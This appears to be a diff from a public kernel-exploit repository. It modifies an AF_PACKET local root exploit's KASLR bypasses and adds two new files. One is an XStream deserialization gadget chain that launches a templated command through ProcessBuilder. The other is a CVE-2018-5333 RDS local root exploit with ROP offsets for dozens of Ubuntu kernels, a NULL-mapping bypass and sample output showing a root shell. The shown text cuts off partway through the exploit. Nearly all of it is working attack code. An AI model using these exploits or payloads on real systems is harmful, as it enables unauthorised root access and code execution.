if (length == -1) {
dprintf("[-] open/read(%s): %m\n", path);
exit(EXIT_FAILURE);
}
char* found = memmem(&buffer[0], length, "smap", 4);
if (found != NULL) {
dprintf("[-] SMAP detected, no bypass available\n");
exit(EXIT_FAILURE);
}
struct stat st;
if (stat("/dev/grsec", &st) == 0) {
dprintf("[!] Warning: grsec is in use\n");
}
}
struct utsname get_kernel_version() {
@@ -573,10 +632,11 @@ struct utsname get_kernel_version() {
}
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define KERNEL_VERSION_SIZE_BUFFER 512
void detect_versions() {
struct utsname u;
char kernel_version[512];
char kernel_version[KERNEL_VERSION_SIZE_BUFFER];
u = get_kernel_version();
@@ -591,7 +651,7 @@ void detect_versions() {
}
char *u_ver = strtok(u.version, " ");
snprintf(kernel_version, 512, "%s %s", u.release, u_ver);
snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver);
int i;
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
@@ -607,15 +667,17 @@ void detect_versions() {
}
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
// https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
#if ENABLE_KASLR_BYPASS_SYSLOG
#define SYSLOG_ACTION_READ_ALL 3
#define SYSLOG_ACTION_SIZE_BUFFER 10
bool mmap_syslog(char** buffer, int* size) {
int mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
return false;
return 0;
}
*size = (*size / getpagesize() + 1) * getpagesize();
@@ -625,16 +687,17 @@ bool mmap_syslog(char** buffer, int* size) {
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
if (*size == -1) {
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
return false;
return 0;
}
return true;
return 1;
}
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) return 0;
if (substr == NULL)
return 0;
int start = 0;
int end = 0;
@@ -642,22 +705,25 @@ unsigned long get_kernel_addr_trusty(char* buffer, int size) {
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) return 0;
if (substr == NULL)
return 0;
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
unsigned long addr = strtoul(&substr[0], &endptr, 16);
r &= 0xffffffffff000000ul;
addr &= 0xffffffffff000000ul;
return r;
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
return addr;
return 0;
}
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle1 = "Freeing unused";
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
if (substr == NULL) {
if (substr == NULL)
return 0;
}
int start = 0;
int end = 0;
@@ -666,17 +732,19 @@ unsigned long get_kernel_addr_xenial(char* buffer, int size) {
const char* needle2 = "ffffff";
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
if (substr == NULL) {
if (substr == NULL)
return 0;
}
char* endptr = &substr[16];
unsigned long r = strtoul(&substr[0], &endptr, 16);
unsigned long addr = strtoul(&substr[0], &endptr, 16);
r &= 0xfffffffffff00000ul;
r -= 0x1000000ul;
addr &= 0xfffffffffff00000ul;
addr -= 0x1000000ul;
return r;
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX)
return addr;
return 0;
}
unsigned long get_kernel_addr_syslog() {
@@ -699,9 +767,12 @@ unsigned long get_kernel_addr_syslog() {
return addr;
}
#endif
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
// https://grsecurity.net/~spender/exploits/exploit.txt
#if ENABLE_KASLR_BYPASS_KALLSYMS
unsigned long get_kernel_addr_kallsyms() {
FILE *f;
unsigned long addr = 0;
@@ -713,7 +784,7 @@ unsigned long get_kernel_addr_kallsyms() {
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
dprintf("[-] open/read(%s): %m\n", path);
return 0;
}
@@ -734,58 +805,23 @@ unsigned long get_kernel_addr_kallsyms() {
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
unsigned long get_kernel_addr_sysmap() {
FILE *f;
unsigned long addr = 0;
char path[512] = "/boot/System.map-";
char version[32];
struct utsname u;
u = get_kernel_version();
strcat(path, u.release);
dprintf("[.] trying %s...\n", path);
f = fopen(path, "r");
if (f == NULL) {
dprintf("[-] open/read(%s)\n", path);
return 0;
}
char dummy;
char sname[256];
char* name = "startup_64";
int ret = 0;
while (ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
dprintf("[-] kernel base not found in %s\n", path);
return 0;
}
#endif
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
#if ENABLE_KASLR_BYPASS_MINCORE
unsigned long get_kernel_addr_mincore() {
unsigned char buf[getpagesize()/sizeof(unsigned char)];
unsigned char buf[getpagesize() / sizeof(unsigned char)];
unsigned long iterations = 20000000;
unsigned long addr = 0;
dprintf("[.] trying mincore info leak...\n");
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap()\n");
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
dprintf("[-] mmap(): %m\n");
return 0;
}
@@ -793,46 +829,50 @@ unsigned long get_kernel_addr_mincore() {
for (i = 0; i <= iterations; i++) {
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf)) {
dprintf("[-] mincore()\n");
dprintf("[-] mincore(): %m\n");
return 0;
}
int n;
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
for (n = 0; n < getpagesize() / sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space */
if (addr > 0xffffffff00000000) {
if (addr > KERNEL_BASE_MIN && addr < KERNEL_BASE_MAX) {
addr &= 0xffffffffff000000ul;
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
dprintf("[-] munmap(): %m\n");
return addr;
}
}
}
if (munmap((void*)0x66000000, 0x20000000000))
dprintf("[-] munmap()\n");
dprintf("[-] munmap(): %m\n");
dprintf("[-] kernel base not found in mincore info leak\n");
return 0;
}
#endif
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
unsigned long get_kernel_addr() {
unsigned long addr = 0;
#if ENABLE_KASLR_BYPASS_KALLSYMS
addr = get_kernel_addr_kallsyms();
if (addr) return addr;
#endif
addr = get_kernel_addr_sysmap();
if (addr) return addr;
#if ENABLE_KASLR_BYPASS_SYSLOG
addr = get_kernel_addr_syslog();
if (addr) return addr;
#endif
#if ENABLE_KASLR_BYPASS_MINCORE
addr = get_kernel_addr_mincore();
if (addr) return addr;
#endif
dprintf("[-] KASLR bypass failed\n");
exit(EXIT_FAILURE);
@@ -851,7 +891,7 @@ void launch_rootshell(void)
fd = open(SYSCTL_PATH, O_WRONLY);
if(fd == -1) {
dprintf("[-] could not open %s\n", SYSCTL_PATH);
dprintf("[-] open(%s): %m\n", SYSCTL_PATH);
exit(EXIT_FAILURE);
}
@@ -877,12 +917,12 @@ void launch_rootshell(void)
void setup_sandbox() {
if (unshare(CLONE_NEWUSER) != 0) {
dprintf("[-] unshare(CLONE_NEWUSER)\n");
dprintf("[-] unshare(CLONE_NEWUSER): %m\n");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
dprintf("[-] unshare(CLONE_NEWNET)\n");
dprintf("[-] unshare(CLONE_NEWNET): %m\n");
exit(EXIT_FAILURE);
}
}
@@ -890,8 +930,6 @@ void setup_sandbox() {
int main(int argc, char **argv)
{
int status, pid;
struct utsname u;
char buf[512], *f;
if (getuid() == 0 && geteuid() == 0) {
chown("/proc/self/exe", 0, 0);
@@ -908,11 +946,11 @@ int main(int argc, char **argv)
dprintf("linux AF_PACKET race condition exploit by rebel\n");
dprintf("[.] starting\n");
dprintf("[.] checking hardware\n");
check_procs();
dprintf("[~] done, hardware looks good\n");
#if ENABLE_SYSTEM_CHECKS
dprintf("[.] checking system\n");
check_env();
dprintf("[~] done, looks good\n");
#endif
dprintf("[.] checking kernel version\n");
detect_versions();
+54
View File
@@ -0,0 +1,54 @@
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<%=payload_cmd%>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
+883
View File
@@ -0,0 +1,883 @@
// Local root exploit for Linux RDS rds_atomic_free_op NULL pointer dereference
// in the rds kernel module in the Linux kernel through 4.14.13 (CVE-2018-5333).
//
// Includes KASLR, SMEP, and mmap_min_addr bypasses. No SMAP bypass.
//
// Targets:
// - Ubuntu 16.04 kernels 4.4.0 <= 4.4.0-116
// - Ubuntu 16.04 kernels 4.8.0 <= 4.8.0-54
//
// The rds kernel module is not loaded by default on Ubuntu, and is blacklisted
// in /etc/modprobe.d/blacklist-rare-network.conf to prevent autoloading.
// - install: sudo apt install "linux-image-extra-$(uname -r)-generic"
// - load: sudo insmod "/lib/modules/$(uname -r)/kernel/net/rds/rds.ko"
//
// This exploit is a modified extension of the original local root
// proof of concept exploit written by wbowling as an example of using
// CVE-2019-9213 to make previous kernel bugs exploitable:
// - https://gist.github.com/wbowling/9d32492bd96d9e7c3bf52e23a0ac30a4
//
// The original exploit is based on the null pointer dereference
// reproducer proof of concept and analysis by 0x36:
// - https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
//
// wbowling has done most of the hard work, by utilising Jann Horn's
// mmap_min_addr bypass technique (CVE-2019-9213), allowing userland to mmap
// virtual address 0 (without which this bug would not be exploitable on
// systems with a sufficiently large value for vm.mmap_min_addr);
// and developing the appropriate ROP chain.
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
//
// This exploit adds offsets for additional kernels, and introduces some
// additional features, such as KASLR bypasses and system checks, including:
// - check if system supports SMAP
// - check if system supports RDS sockets
// - Jann Horn's mincore KASLR bypass via heap page disclosure (CVE-2017-16994)
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
// - spender's /proc/kallsyms KASLR bypass (requires kernel.kptr_restrict=0)
// - https://grsecurity.net/~spender/exploits/exploit.txt
// - xairy's syslog KASLR bypass (requires kernel.dmesg_restrict=0)
// - https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c
// - lizzie's perf_event_open KASLR bypass (requires kernel.perf_event_paranoid<2)
// - https://blog.lizzie.io/kaslr-and-perf.html
//
// Shoutout to nstarke for adding additional kernel offsets.
// - https://github.com/bcoles/kernel-exploits/pulls?q=author:nstarke+cve-2018-5333
//
// This exploit also uses various code patterns copied from:
// - xairy's exploits:
// - https://github.com/xairy/kernel-exploits
// - vnik's kernel ROP code:
// - https://github.com/vnik5287/kernel_rop
// ---
// $ gcc cve-2018-5333.c -o cve-2018-5333 -Wall
// $ ./cve-2018-5333
// Linux RDS rds_atomic_free_op NULL pointer dereference local root (CVE-2018-5333)
// [.] checking kernel version...
// [.] kernel version '4.4.0-116-generic #140-Ubuntu' detected
// [~] done, version looks good
// [.] checking system...
// [~] done, looks good
// [.] mapping null address...
// [~] done, mapped null address
// [.] KASLR bypass enabled, getting kernel base address
// [.] trying /proc/kallsyms...
// [-] kernel base not found in /proc/kallsyms
// [.] trying syslog...
// [-] kernel base not found in syslog
// [.] trying perf_event_open sampling...
// [.] done, kernel text: ffffffff9f000000
// [.] commit_creds: ffffffff9f0a4cf0
// [.] prepare_kernel_cred: ffffffff9f0a50e0
// [.] mmapping fake stack...
// [~] done, fake stack mmapped
// [.] executing payload 0x402119...
// [+] got root
// # id
// uid=0(root) gid=0(root) groups=0(root)
// ---
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2018-5333
// <bcoles@gmail.com>
#define _GNU_SOURCE
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <unistd.h>
#include <linux/perf_event.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include <sys/klog.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/utsname.h>
#define DEBUG
#ifdef DEBUG
# define dprintf printf
#else
# define dprintf
#endif
#define ENABLE_SYSTEM_CHECKS 1
#define ENABLE_KASLR_BYPASS 1
#if ENABLE_KASLR_BYPASS
# define KERNEL_BASE_MIN 0xffffffff00000000ul
# define KERNEL_BASE_MAX 0xffffffffff000000ul
# define ENABLE_KASLR_BYPASS_KALLSYMS 1
# define ENABLE_KASLR_BYPASS_SYSLOG 1
# define ENABLE_KASLR_BYPASS_PERF 1
# define ENABLE_KASLR_BYPASS_MINCORE 1
#endif
// Can be overwritten by argv[1]
char *SHELL = "/bin/sh";
// Will be overwritten if ENABLE_KASLR_BYPASS is enabled (1)
unsigned long KERNEL_BASE = 0xffffffff81000000ul;
// Will be overwritten by detect_versions().
int kernel = -1;
// kernel target struct, using ROP chain from wbowling's exploit
struct kernel_info {
const char* kernel_version;
uint64_t commit_creds;
uint64_t prepare_kernel_cred;
uint64_t xor_rdi; //: xor edi, edi ; ret
uint64_t mov_rdi_rax; //: mov rdi, rax ; pop rbx ; mov rax, rdi ; pop r12 ; pop rbp ; ret
uint64_t xchg_esp; //: xchg eax, esp ; shr bl, 0xbf ; xor eax, eax ; pop rbp ; ret
uint64_t swapgs; //: swapgs ; pop rbp ; ret
uint64_t iretq; //: iretq
};
// Targets
struct kernel_info kernels[] = {
{ "4.4.0-21-generic #37-Ubuntu", 0xa21c0, 0xa25b0, 0x5d0c5, 0x178157, 0x3f8158, 0x64644, 0x4cc7da },
{ "4.4.0-22-generic #40-Ubuntu", 0xa2220, 0xa2610, 0x5d0c5, 0x178217, 0x3f89e8, 0x64644, 0x7d005 },
{ "4.4.0-24-generic #43-Ubuntu", 0xa2340, 0xa2730, 0x5d0c5, 0x178447, 0x3f98b8, 0x64644, 0x7d125 },
{ "4.4.0-28-generic #47-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x178717, 0x3f9f38, 0x64644, 0x585dc },
{ "4.4.0-31-generic #50-Ubuntu", 0xa24a0, 0xa2890, 0x5d0c5, 0x1787a7, 0x3ffed8, 0x64644, 0x7d125 },
{ "4.4.0-38-generic #57-Ubuntu", 0xa2570, 0xa2960, 0x5d0c5, 0x178a97, 0x400968, 0x64634, 0x7d1e5 },
{ "4.4.0-42-generic #62-Ubuntu", 0xa25c0, 0xa29b0, 0x5d0c5, 0x178ac7, 0x400d78, 0x64634, 0x7d1a5 },
{ "4.4.0-98-generic #121-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x17a427, 0x40a138, 0x64694, 0x4b243 },
{ "4.4.0-108-generic #131-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
{ "4.4.0-109-generic #132-Ubuntu", 0xa3420, 0xa3810, 0x5d0c5, 0x17af37, 0x40aa98, 0x646a4, 0x7dd35 },
{ "4.4.0-112-generic #135-Ubuntu", 0xa3a90, 0xa3e80, 0x5d0c5, 0x17b657, 0x40b238, 0x646a4, 0x54137c },
{ "4.4.0-116-generic #140-Ubuntu", 0xa4cf0, 0xa50e0, 0x5e0c5, 0x17d5d7, 0x40ed08, 0x65734, 0x3a5b04 },
/* Untested:
{ "4.4.0-51-generic #72-Ubuntu", 0xa2670, 0xa2a60, 0x5d0c5, 0x178cf7, 0x404d78, 0x64634, 0x7d1a5 },
{ "4.4.0-62-generic #83-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179747, 0x406a78, 0x64634, 0x7d1e5 },
{ "4.4.0-63-generic #84-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb },
{ "4.4.0-66-generic #87-Ubuntu", 0xa2840, 0xa2c30, 0x5d0c5, 0x179827, 0x406e98, 0x64634, 0x406eb },
{ "4.4.0-70-generic #91-Ubuntu", 0xa27b0, 0xa2ba0, 0x5d0c5, 0x179847, 0x4070c8, 0x64664, 0x406eb },
{ "4.4.0-79-generic #100-Ubuntu", 0xa2800, 0xa2bf0, 0x5d0c5, 0x179a67, 0x408338, 0x64664, 0x7d235 },
{ "4.4.0-87-generic #110-Ubuntu", 0xa2860, 0xa2c50, 0x5d0c5, 0x179ca7, 0x408768, 0x64694, 0x7d285 },
{ "4.4.0-89-generic #112-Ubuntu", 0xa28a0, 0xa2c90, 0x5d0c5, 0x179d27, 0x408ae8, 0x64694, 0x7d265 },
{ "4.4.0-96-generic #119-Ubuntu", 0xa28c0, 0xa2cb0, 0x5d0c5, 0x179e27, 0x409a48, 0x64694, 0x7d235 },
{ "4.4.0-97-generic #120-Ubuntu", 0xa2850, 0xa2c40, 0x5d0c5, 0x179e47, 0x409a58, 0x64694, 0x4ed41 },
*/
{ "4.4.0-21-lowlatency #37-Ubuntu", 0xa3150, 0xa3560, 0x5e0c5, 0x17b2c7, 0x401288, 0x64d34, 0x7d95c },
{ "4.4.0-22-lowlatency #40-Ubuntu", 0xa31c0, 0xa35d0, 0x5e0c5, 0x17b397, 0x401b48, 0x64d34, 0x7d9bc },
{ "4.4.0-24-lowlatency #43-Ubuntu", 0xa32e0, 0xa36f0, 0x5e0c5, 0x17b5e7, 0x402958, 0x64d34, 0x7dadc },
{ "4.4.0-28-lowlatency #47-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b8c7, 0x402f48, 0x64d34, 0x7dadc },
//{ "4.4.0-31-lowlatency #50-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409018, 0x64d34, 0x7dadc },
//{ "4.4.0-34-lowlatency #53-Ubuntu", 0xa3450, 0xa3860, 0x5e0c5, 0x17b9a7, 0x409088, 0x64d34, 0x7dadc },
{ "4.4.0-36-lowlatency #55-Ubuntu", 0xa3430, 0xa3840, 0x5e0c5, 0x17b9e7, 0x409318, 0x64d24, 0x7dacc },
{ "4.4.0-38-lowlatency #57-Ubuntu", 0xa3500, 0xa3910, 0x5e0c5, 0x17bcb7, 0x409b38, 0x64d24, 0x4c030 },
{ "4.4.0-42-lowlatency #62-Ubuntu", 0xa3560, 0xa3970, 0x5e0c5, 0x17bcf7, 0x409f68, 0x64d24, 0x7db6c },
{ "4.4.0-98-lowlatency #121-Ubuntu", 0xa38c0, 0xa3cd0, 0x5e0c5, 0x17d737, 0x413408, 0x64d84, 0x24454 },
{ "4.4.0-109-lowlatency #132-Ubuntu", 0xa5530, 0xa5940, 0x5f0c5, 0x17f257, 0x414c18, 0x65d94, 0x7f7ac },
{ "4.4.0-112-lowlatency #135-Ubuntu", 0xa5bd0, 0xa5fe0, 0x5f0c5, 0x17f9a7, 0x415448, 0x65d94, 0x7f8dc },
{ "4.4.0-116-lowlatency #140-Ubuntu", 0xa6e00, 0xa7210, 0x600c5, 0x1818f7, 0x418a38, 0x66de4, 0x809ef },
{ "4.8.0-34-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
{ "4.8.0-36-generic #36~16.04.1-Ubuntu", 0xa5d50, 0xa6140, 0x5d0c5, 0x1876d7, 0x43d208, 0x642f4, 0x7ed2b },
{ "4.8.0-39-generic #42~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
{ "4.8.0-41-generic #44~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43da98, 0x642f4, 0x7ed2b },
{ "4.8.0-42-generic #45~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dea8, 0x642f4, 0x5c4f3 },
{ "4.8.0-44-generic #47~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
{ "4.8.0-45-generic #48~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
{ "4.8.0-46-generic #49~16.04.1-Ubuntu", 0xa5cf0, 0xa60e0, 0x5d0c5, 0x187767, 0x43dac8, 0x642f4, 0x7ed2b },
{ "4.8.0-49-generic #52~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
{ "4.8.0-51-generic #54~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43dce8, 0x642f4, 0x7ed3b },
{ "4.8.0-52-generic #55~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
{ "4.8.0-53-generic #56~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
{ "4.8.0-54-generic #57~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e208, 0x642f4, 0x7ed3b },
//{ "4.8.0-56-generic #61~16.04.1-Ubuntu", 0xa5d00, 0xa60f0, 0x5d0c5, 0x187777, 0x43e278, 0x642f4, 0x7ed3b },
//{ "4.8.0-58-generic #63~16.04.1-Ubuntu", 0xa5d20, 0xa6110, 0x5d0c5, 0x187797, 0x43dfa8, 0x642f4, 0x7ed5b },
{ "4.8.0-34-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
{ "4.8.0-36-lowlatency #36~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18ae07, 0x4467f8, 0x649f4, 0x7f902 },
//{ "4.8.0-39-lowlatency #42~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
{ "4.8.0-41-lowlatency #44~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aec7, 0x4470d8, 0x649f4, 0x7f902 },
{ "4.8.0-42-lowlatency #45~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447428, 0x649f4, 0x4b3e3 },
{ "4.8.0-44-lowlatency #47~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
{ "4.8.0-45-lowlatency #48~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
{ "4.8.0-46-lowlatency #49~16.04.1-Ubuntu", 0xa6ec0, 0xa72d0, 0x5e0c5, 0x18aeb7, 0x447108, 0x649f4, 0x4b3e3 },
{ "4.8.0-49-lowlatency #52~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
{ "4.8.0-51-lowlatency #54~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x447278, 0x649f4, 0x4b3e3 },
{ "4.8.0-52-lowlatency #55~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
{ "4.8.0-53-lowlatency #56~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x4b3e3 },
{ "4.8.0-54-lowlatency #57~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477a8, 0x649f4, 0x7f912 },
//{ "4.8.0-56-lowlatency #61~16.04.1-Ubuntu", 0xa6ed0, 0xa72e0, 0x5e0c5, 0x18aec7, 0x4477f8, 0x649f4, 0x7f912 },
//{ "4.8.0-58-lowlatency #63~16.04.1-Ubuntu", 0xa6ef0, 0xa7300, 0x5e0c5, 0x18aee7, 0x447568, 0x649f4, 0x7f932 },
//{ "4.10.0-14-generic #16~16.04.1-Ubuntu", 0xab610, 0xaba00, 0x600c5, 0x194ac7, 0x458288, 0x67764, 0x34c4b },
//{ "4.13.0-16-generic #19~16.04.3-Ubuntu", 0xa8220, 0xa85f0, 0x5f0c5, 0x19c8a7, 0x462d18, 0x668b4, 0x2f2d4 },
//{ "4.13.0-37-generic #42~16.04.1-Ubuntu", 0xab1d0, 0xab5a0, 0x610c5, 0x1a0827, 0x46bf58, 0x68944, 0x3381b },
};
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
// https://github.com/0x36/CVE-pocs/blob/master/CVE-2018-5333-rds-nullderef.c
#define RAND_SIZE 4096
#ifndef SOL_RDS
# define SOL_RDS 276
#endif
#ifndef RDS_CMSG_MASKED_ATOMIC_CSWP
# define RDS_CMSG_MASKED_ATOMIC_CSWP 9
#endif
#ifndef AF_RDS
# define AF_RDS 0x15
#endif
void trigger_bug()
{
struct sockaddr_in sin;
struct msghdr msg;
char buf[RAND_SIZE];
struct cmsghdr cmsg;
memset(&sin, 0, sizeof(struct sockaddr));
memset(&msg, 0, sizeof(msg));
memset(buf, 0x40, sizeof(buf));
memset(&cmsg, 0, sizeof(cmsg));
int fd = socket(AF_RDS, 5, 0);
if(fd < 0) {
dprintf("[-] socket(AF_RDS): %m\n");
return;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(2000);
sin.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(fd, (struct sockaddr*)&sin, sizeof(sin));
cmsg.cmsg_len = RAND_SIZE;
cmsg.cmsg_type = RDS_CMSG_MASKED_ATOMIC_CSWP;
cmsg.cmsg_level = SOL_RDS;
memcpy(&buf[0], &cmsg, sizeof(cmsg));
*(uint64_t *)(buf + 0x18) = 0x40404000; /* args->local_addr */
msg.msg_name = &sin;
msg.msg_namelen = sizeof(sin);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = buf;
msg.msg_controllen = RAND_SIZE;
msg.msg_flags = MSG_DONTROUTE|MSG_PROXY|MSG_WAITALL;
sendmsg(fd, &msg, 0);
}
// * * * * * * * * * * * * * * map null address * * * * * * * * * * * * *
// https://bugs.chromium.org/p/project-zero/issues/detail?id=1792&desc=2
void map_null() {
void *map = mmap((void *)0x10000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED, -1, 0);
if (map == MAP_FAILED) {
dprintf("[-] mmap(null): %m\n");
exit(EXIT_FAILURE);
}
char* path = "/proc/self/mem";
int fd = open(path, O_RDWR);
if (fd == -1) {
dprintf("open(%s): %m\n", path);
exit(EXIT_FAILURE);
}
unsigned long addr = (unsigned long)map;
while (addr != 0) {
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1) {
dprintf("lseek()\n");
exit(EXIT_FAILURE);
}
char cmd[1000];
sprintf(cmd, "LD_DEBUG=help su 1>&%d", fd);
system(cmd);
}
}
// * * * * * * * * * * * * * * * save state * * * * * * * * * * * * * * *
// https://github.com/vnik5287/kernel_rop
unsigned long user_cs, user_ss, user_rflags;
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
